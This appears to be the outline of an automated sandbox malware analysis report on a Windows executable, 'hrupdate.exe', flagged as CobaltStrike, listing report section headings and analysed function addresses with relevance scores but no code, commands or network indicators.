
Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: CobaltStrike

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
hrupdate.exe

Function 00671480 Relevance: 52.8, APIs: 25, Strings: 5, Instructions: 269
windowstringnetworkCOMMON

Function 0469CCA3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 125
COMMON

Function 046A5173 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
encryptionCOMMON

Function 00672180 Relevance: 42.3, APIs: 20, Strings: 4, Instructions: 344
networkstringCOMMON

Function 006710A0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 175
COMMON

Function 00672BC0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 102
memorynetworkencryptionCOMMON

Function 00671B30 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 131
filememoryCOMMON

Function 0469709E Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 186
networkfileCOMMON

Function 006712C0 Relevance: 18.2, APIs: 12, Instructions: 156
COMMON

Function 046944E1 Relevance: 13.9, APIs: 9, Instructions: 415
timeCOMMON

Function 0469CE03 Relevance: 12.1, APIs: 8, Instructions: 124
COMMON

Function 00671A20 Relevance: 12.1, APIs: 8, Instructions: 74
timewindowCOMMON

Function 00671900 Relevance: 10.6, APIs: 7, Instructions: 97
windowCOMMON

Function 00672B00 Relevance: 10.6, APIs: 7, Instructions: 62
COMMON

Function 0469DC39 Relevance: 9.1, APIs: 6, Instructions: 113
networkCOMMON